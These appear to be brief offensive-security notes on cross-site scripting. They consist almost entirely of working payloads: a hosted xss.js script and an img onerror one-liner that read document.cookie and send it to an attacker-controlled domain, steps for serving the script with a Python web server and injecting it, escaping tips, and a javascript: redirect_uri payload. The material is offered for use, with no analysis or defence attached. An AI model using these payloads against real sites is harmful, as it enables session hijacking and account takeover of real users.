Hosting method:
- First create a file name xss.js with the following content:
let cookie = document.cookie let encodedCookie = btoa(cookie) new Image().src = "http://domain/?cookie=" + encodedCookie; -
Host the file using Python:
python3 -m http.server 80 - Inject the payload:
<script src="http://ownIP/xss.js"></script>
One liner alternative:
-
Replace domain with domain you control:
<img src="x" onerror="fetch('http://domain/cookie=?'+encodeURIComponent(document.cookie))"> -
Note that can use either single quote or a backslash to escape the double quotes inside double quotes. Also if in URL need to encode the plus using %2b.
Possible payloads: <img src='http://192.168.45.X:9000/name'>
Previous code on xss.js
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://domain/?cookie=" + encodedCookie)
Redirect payload here:
?redirect_uri=javascript:alert(1)//?x]=&redirect_uri=https://pwnbox.xyz/docs